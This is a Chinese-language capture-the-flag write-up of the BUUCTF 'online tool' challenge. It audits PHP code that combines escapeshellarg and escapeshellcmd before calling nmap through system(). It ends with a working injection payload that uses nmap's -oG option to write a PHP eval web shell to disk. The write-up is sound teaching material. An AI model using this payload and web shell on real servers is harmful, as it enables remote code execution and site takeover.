簡介
原題復現:https://github.com/glzjin/buuctf_2018_online_tool (環境php5.6.40)
考察知識點:escapeshellarg
和escapeshellcmd
使用不當導致rce
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
過程
簡單審計
菜狗打開頁面 看到源碼 看到兩個函數不知道 看wp吧。。。
1 <?php 2 3 print_r($_SERVER['HTTP_X_FORWARDED_FOR']); 4 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { 5 $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; 6 print("1"); 7 } 8 9 if(!isset($_GET['host'])) { 10 highlight_file(__FILE__); 11 } else { 12 $host = $_GET['host']; 13 $host = escapeshellarg($host); 14 $host = escapeshellcmd($host); 15 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); 16 echo 'you are in sandbox '.$sandbox; 17 @mkdir($sandbox); 18 chdir($sandbox); 19 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); 20 }
先學了解兩個陌生的函數
escapeshellcmd
escapeshellcmd — shell 元字符轉義
escapeshellcmd() 對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec() 或 system() 函數,或者 執行操作符 之前進行轉義。
反斜線(\)會在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 僅在不配對兒的時候被轉義。 在 Windows 平台上,所有這些字符以及 % 和 ! 字符都會被空格代替。
<?php var_dump(escapeshellcmd("xiaohua da wang")); echo "<br>"; var_dump(escapeshellcmd("xiaohua 'da' wang")); echo "<br>"; var_dump(escapeshellcmd("xiaohua '''da' 'wang")); echo "<br>";
結果:僅轉義了單個出現的單引號
escapeshellarg
escapeshellarg — 把字符串轉碼為可以在 shell 命令里使用的參數
escapeshellarg() 將給字符串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字符串傳入 shell 函數,並且還是確保安全的。對於用戶輸入的部分參數就應該使用這個函數。shell 函數包含exec(), system() 執行運算符 。
<?php var_dump(escapeshellarg("xiaohua da wang")); echo '<br>'; var_dump(escapeshellarg("xiaohua 'da' wang")); echo '<br>'; var_dump(escapeshellarg("xiaohua '''da' wang")); echo '<br>';
結果: 只要出現單引號就進行轉義
所以說escapeshellcmd
和不同之處在於escapeshellarg,前者僅會對落單了的單引號進行轉義,而后者會對所有單引號進行轉義,前者會對一些特殊字符進行轉義如:
& # ; ` | * ? ~ < > ^ ( ) [ ] { } $
<?php var_dump(escapeshellcmd("& # ; ` | * ? ~ < > ^ ( ) [ ] { } $")); echo "<br>";
參考學習:https://paper.seebug.org/164/
傳入的參數是:172.17.0.2' -v -d a=1 經過escapeshellarg處理后變成了'172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。 經過escapeshellcmd處理后變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最后那個不配對兒的引號進行了轉義:http://php.net/manual/zh/function.escapeshellcmd.php 最后執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由於中間的\\被解釋為\而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。所以可以簡化為curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\發起請求,POST 數據為a=1'。
nmap參數:https://blog.csdn.net/qq_26090065/article/details/80285088
在nmap命令中 有一個參數-oG可以實現將命令和結果寫到文件
最終payload
這個命令就是我們的輸入可控!然后寫入到文件
?host=' <?php @eval($_POST["xiaohua"]);?> -oG xiaohua.php '
顯示生成的文件夾名 我們拼湊下訪問
http://6b6aa4fa-cc55-4b5d-8dd9-9ba66a236355.node3.buuoj.cn/4d484018dc3b664c4cc70a3ef2b8e7a3/xiaohua.php